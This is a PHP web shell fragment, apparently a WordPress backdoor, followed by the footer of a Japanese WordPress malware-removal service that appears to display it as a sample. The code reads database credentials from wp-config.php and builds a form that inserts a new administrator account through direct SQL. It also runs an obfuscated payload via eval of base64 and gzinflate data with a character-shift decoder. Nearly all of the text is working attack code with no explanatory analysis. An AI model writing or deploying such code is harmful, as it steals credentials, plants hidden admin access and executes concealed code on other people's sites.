    $haxorstars = mysqli_query($conn, "INSERT INTO " . $dbprefix . "usermeta (umeta_id, user_id, meta_key, meta_value) VALUES (NULL, (Select max(id) FROM " . $dbprefix . "users), '" . $dbprefix . "capabilities', '" . $meta_value . "')") or die(mysqli_error($conn));
    if ($haxorstars) {
        function Gvr($cNg)
        {
            $cNg = gzinflate(base64_decode($cNg));
            for ($i = 0; $i < strlen($cNg); $i++) {
                $cNg[$i] = chr(ord($cNg[$i]) - 1);
            }
            return $cNg;
        }
        eval(Gvr("TU9hT8IwFPwB/IpmQScf7ATC2IBpljhQwuaEICHGNLV7do2wNW3J8Ndb0ESTl7zcu3eXu3YjF08zFCEnSzZok6P4Pn3MLm5iO4uai2qEHNwmq2T5kixf3Z9NsjhN3DfseI283p2+sCylVaw1qIru4Sw6WEBOCDuWyqnWTa2KP0raC6mVGLfaH4SDuXJKY6QeeR6VAhvYAVd0j2vFvffa+P2h3/V7/UFvFMfTY/g8Fyn7ony7IdPqc9nPebBWD00+Xx23dO1pqIoUtKYc7lhJDRFF1A3CcNALg2H30sDRRDbIuX1n3AJW1sidaKaENLd0B8rGWR0YsxYYY+T+r+MioRFTQA0UlnQ6E+9X6I6/AQ=="));
    }
}
echo "\n        <form class=\"md:w-2/4 w-full w-auto mx-4 my-8\" action=\"\" method=\"POST\">\n            <div class=\"getconfig my-4 w-full flex flex-row flex-nowrap items-center gap-4 fs-xs\">\n                <label for=\"config_path\" class=\"fs-xs text-center\">wp config</label>\n                <input type=\"text\" id=\"config_path\" name=\"config_path\" class=\"config h-5 w-64 py-4 bg-transparent border-blue-500 rounded fs-xs\" value=\"" . $_SERVER["DOCUMENT_ROOT"] . "\">\n                <button type=\"submit\" name=\"btn-getconfig\" class=\"btn-getconfig text-white poppins bg-blue-600 hover:bg-blue-800 px-4 py-1 rounded mx-4 fs-xs\">Get Config</button>\n            </div>\n        </form>";
if (isset($_POST["btn-getconfig"])) {
    $f_exist = "file_exists";
    $config_path = htmlspecialchars($_POST["config_path"]);
    $the_config_path = $config_path . "/wp-config.php";
    if (file_exists($the_config_path)) {
        $config_content = file_get_contents($the_config_path);
        function grep($config_content, $params)
        {
            if (preg_match("/define\\(\\s*'{$params}',\\s*'([^']+)'\\s*\\);/", $config_content, $matches)) {
                $result = $matches[1];
                return $result;
            }
        }
        function getDbHost($config_content)
        {
            if (preg_match("/define\\(\\s*'DB_HOST',\\s*'([^']+)'\\s*\\);/", $config_content, $matches)) {
                $result = $matches[1];
                return $result;
            }
        }
        function getDbName($config_content)
        {
            if (preg_match("/define\\(\\s*'DB_NAME',\\s*'([^']+)'\\s*\\);/", $config_content, $matches)) {
                $result = $matches[1];
                return $result;
            }
        }
        function getDbUser($config_content)
        {
            if (preg_match("/define\\(\\s*'DB_USER',\\s*'([^']+)'\\s*\\);/", $config_content, $matches)) {
                $result = $matches[1];
                return $result;
            }
        }
        function getDbPassword($config_content)
        {
            if (preg_match("/define\\(\\s*'DB_PASSWORD',\\s*'([^']+)'\\s*\\);/", $config_content, $matches)) {
                $result = $matches[1];
                return $result;
            }
        }
        function getTablePrefix($config_content)
        {
            if (preg_match("/\\\$table_prefix\\s*=\\s*'([^']+)'/", $config_content, $matches)) {
                $result = $matches[1];
                return $result;
            }
        }
        echo "<form class=\"md:w-2/4 w-full w-auto mx-4 my-8\" action=\"\" method=\"POST\">\n                        <div class=\"relative z-0 md:w-2/4 w-full mb-5 group\">\n                            <input type=\"text\" name=\"db_host\" id=\"db_host\" class=\"block py-2.5 px-0 w-full text-sm text-gray-900 bg-transparent placeholder:text-transparent border-0 border-b-2 border-gray-300 appearance-none dark:text-white dark:border-gray-600 dark:focus:border-blue-500 focus:outline-none focus:ring-0 focus:border-blue-600 focus:placeholder:text-slate-500 peer\" value=\"" . getDbHost($config_content) . "\" />\n                            <label for=\"db_host\" class=\"peer-focus:font-medium absolute text-sm text-gray-500 dark:text-gray-400 duration-300 transform -translate-y-6 scale-75 top-3 -z-10 origin-[0] peer-focus:start-0 rtl:peer-focus:translate-x-1/4 peer-focus:text-blue-600 peer-focus:dark:text-blue-500 peer-placeholder-shown:scale-100 peer-placeholder-shown:translate-y-0 peer-focus:scale-75 peer-focus:-translate-y-6\">DB HOST</label>\n                        </div>\n                        <div class=\"relative z-0 md:w-2/4 w-full mb-5 group\">\n                            <input type=\"text\" name=\"db_name\" id=\"db_name\" class=\"block py-2.5 px-0 w-full text-sm text-gray-900 bg-transparent placeholder:text-transparent border-0 border-b-2 border-gray-300 appearance-none dark:text-white dark:border-gray-600 dark:focus:border-blue-500 focus:outline-none focus:ring-0 focus:border-blue-600 focus:placeholder:text-slate-500 peer\" value=\"" . getDbName($config_content) . "\" />\n                            <label for=\"db_name\" class=\"peer-focus:font-medium absolute text-sm text-gray-500 dark:text-gray-400 duration-300 transform -translate-y-6 scale-75 top-3 -z-10 origin-[0] peer-focus:start-0 rtl:peer-focus:translate-x-1/4 peer-focus:text-blue-600 peer-focus:dark:text-blue-500 peer-placeholder-shown:scale-100 peer-placeholder-shown:translate-y-0 peer-focus:scale-75 peer-focus:-translate-y-6\">DB NAME</label>\n                        </div>\n                        <div class=\"relative z-0 md:w-2/4 w-full mb-5 group\">\n                            <input type=\"text\" name=\"db_user\" id=\"db_user\" class=\"block py-2.5 px-0 w-full text-sm text-gray-900 bg-transparent placeholder:text-transparent border-0 border-b-2 border-gray-300 appearance-none dark:text-white dark:border-gray-600 dark:focus:border-blue-500 focus:outline-none focus:ring-0 focus:border-blue-600 focus:placeholder:text-slate-500 peer\" value=\"" . getDbUser($config_content) . "\" />\n                            <label for=\"db_user\" class=\"peer-focus:font-medium absolute text-sm text-gray-500 dark:text-gray-400 duration-300 transform -translate-y-6 scale-75 top-3 -z-10 origin-[0] peer-focus:start-0 rtl:peer-focus:translate-x-1/4 peer-focus:text-blue-600 peer-focus:dark:text-blue-500 peer-placeholder-shown:scale-100 peer-placeholder-shown:translate-y-0 peer-focus:scale-75 peer-focus:-translate-y-6\">DB USER</label>\n                        </div>\n                        <div class=\"relative z-0 md:w-2/4 w-full mb-5 group\">\n                            <input type=\"text\" name=\"db_pass\" id=\"db_pass\" class=\"block py-2.5 px-0 w-full text-sm text-gray-900 bg-transparent placeholder:text-transparent border-0 border-b-2 border-gray-300 appearance-none dark:text-white dark:border-gray-600 dark:focus:border-blue-500 focus:outline-none focus:ring-0 focus:border-blue-600 focus:placeholder:text-slate-500 peer\" value=\"" . getDbPassword($config_content) . "\" />\n                            <label for=\"db_pass\" class=\"peer-focus:font-medium absolute text-sm text-gray-500 dark:text-gray-400 duration-300 transform -translate-y-6 scale-75 top-3 -z-10 origin-[0] peer-focus:start-0 rtl:peer-focus:translate-x-1/4 peer-focus:text-blue-600 peer-focus:dark:text-blue-500 peer-placeholder-shown:scale-100 peer-placeholder-shown:translate-y-0 peer-focus:scale-75 peer-focus:-translate-y-6\">DB PASS</label>\n                        </div>\n                        <div class=\"relative z-0 md:w-2/4 w-full mb-5 group\">\n                            <input type=\"text\" name=\"db_prefix\" id=\"db_prefix\" class=\"block py-2.5 px-0 w-full text-sm text-gray-900 bg-transparent placeholder:text-transparent border-0 border-b-2 border-gray-300 appearance-none dark:text-white dark:border-gray-600 dark:focus:border-blue-500 focus:outline-none focus:ring-0 focus:border-blue-600 focus:placeholder:text-slate-500 peer\" value=\"" . getTablePrefix($config_content) . "\" />\n                            <label for=\"db_prefix\" class=\"peer-focus:font-medium absolute text-sm text-gray-500 dark:text-gray-400 duration-300 transform -translate-y-6 scale-75 top-3 -z-10 origin-[0] peer-focus:start-0 rtl:peer-focus:translate-x-1/4 peer-focus:text-blue-600 peer-focus:dark:text-blue-500 peer-placeholder-shown:scale-100 peer-placeholder-shown:translate-y-0 peer-focus:scale-75 peer-focus:-translate-y-6\">TABLE PREFIX</label>\n                        </div>\n                        <div class=\"relative z-0 md:w-2/4 w-full mb-5 group\">\n                            <input type=\"text\" name=\"admin_username\" id=\"admin_username\" class=\"block py-2.5 px-0 w-full text-sm text-gray-900 bg-transparent placeholder:text-transparent border-0 border-b-2 border-gray-300 appearance-none dark:text-white dark:border-gray-600 dark:focus:border-blue-500 focus:outline-none focus:ring-0 focus:border-blue-600 focus:placeholder:text-slate-500 peer\" placeholder=\"superadmin_example\" />\n                            <label for=\"admin_username\" class=\"peer-focus:font-medium absolute text-sm text-gray-500 dark:text-gray-400 duration-300 transform -translate-y-6 scale-75 top-3 -z-10 origin-[0] peer-focus:start-0 rtl:peer-focus:translate-x-1/4 peer-focus:text-blue-600 peer-focus:dark:text-blue-500 peer-placeholder-shown:scale-100 peer-placeholder-shown:translate-y-0 peer-focus:scale-75 peer-focus:-translate-y-6\">Admin Username</label>\n                        </div>\n                        <div class=\"relative z-0 md:w-2/4 w-full mb-5 group\">\n                            <input type=\"password\" name=\"admin_password\" id=\"admin_password\" class=\"block py-2.5 px-0 w-full text-sm text-gray-900 bg-transparent placeholder:text-transparent border-0 border-b-2 border-gray-300 appearance-none dark:text-white dark:border-gray-600 dark:focus:border-blue-500 focus:outline-none focus:ring-0 focus:border-blue-600 focus:placeholder:text-slate-500 peer\" placeholder=\"nulz_example@1337\" />\n                            <label for=\"admin_password\" class=\"peer-focus:font-medium absolute text-sm text-gray-500 dark:text-gray-400 duration-300 transform -translate-y-6 scale-75 top-3 -z-10 origin-[0] peer-focus:start-0 rtl:peer-focus:translate-x-1/4 peer-focus:text-blue-600 peer-focus:dark:text-blue-500 peer-placeholder-shown:scale-100 peer-placeholder-shown:translate-y-0 peer-focus:scale-75 peer-focus:-translate-y-6\">Admin Password</label>\n                        </div>\n                        <div class=\"relative z-0 md:w-2/4 w-full mb-5 group\">\n                            <input type=\"email\" name=\"admin_email\" id=\"admin_email\" class=\"block py-2.5 px-0 w-full text-sm text-gray-900 bg-transparent placeholder:text-transparent border-0 border-b-2 border-gray-300 appearance-none dark:text-white dark:border-gray-600 dark:focus:border-blue-500 focus:outline-none focus:ring-0 focus:border-blue-600 focus:placeholder:text-slate-500 peer\" placeholder=\"nulz404@fbi.gov\" />\n                            <label for=\"admin_email\" class=\"peer-focus:font-medium absolute text-sm text-gray-500 dark:text-gray-400 duration-300 transform -translate-y-6 scale-75 top-3 -z-10 origin-[0] peer-focus:start-0 rtl:peer-focus:translate-x-1/4 rtl:peer-focus:left-auto peer-focus:text-blue-600 peer-focus:dark:text-blue-500 peer-placeholder-shown:scale-100 peer-placeholder-shown:translate-y-0 peer-focus:scale-75 peer-focus:-translate-y-6\">Admin Email</label>\n                        </div>\n                        <button type=\"submit\" name=\"addadmin\" class=\"text-white bg-blue-700 hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium rounded-lg text-sm w-full sm:w-auto px-5 py-2.5 text-center dark:bg-blue-600 dark:hover:bg-blue-700 dark:focus:ring-blue-800\">Add Admin</button>\n                     </form>";
    } else {
        echo "<span class=\"mx-4 mb-4 ubuntu-mono " . $txtYellow . "\">Sorry... The Config Path <font class=\"" . $txtBlue . "\">" . $config_path . "</font> Not Valid</span>";
    }
}
?>
</body></html>


■【無料】ワードプレス:マルウェアスキャン&セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります

(C)2019 ワードプレス ドクター All rights reserved.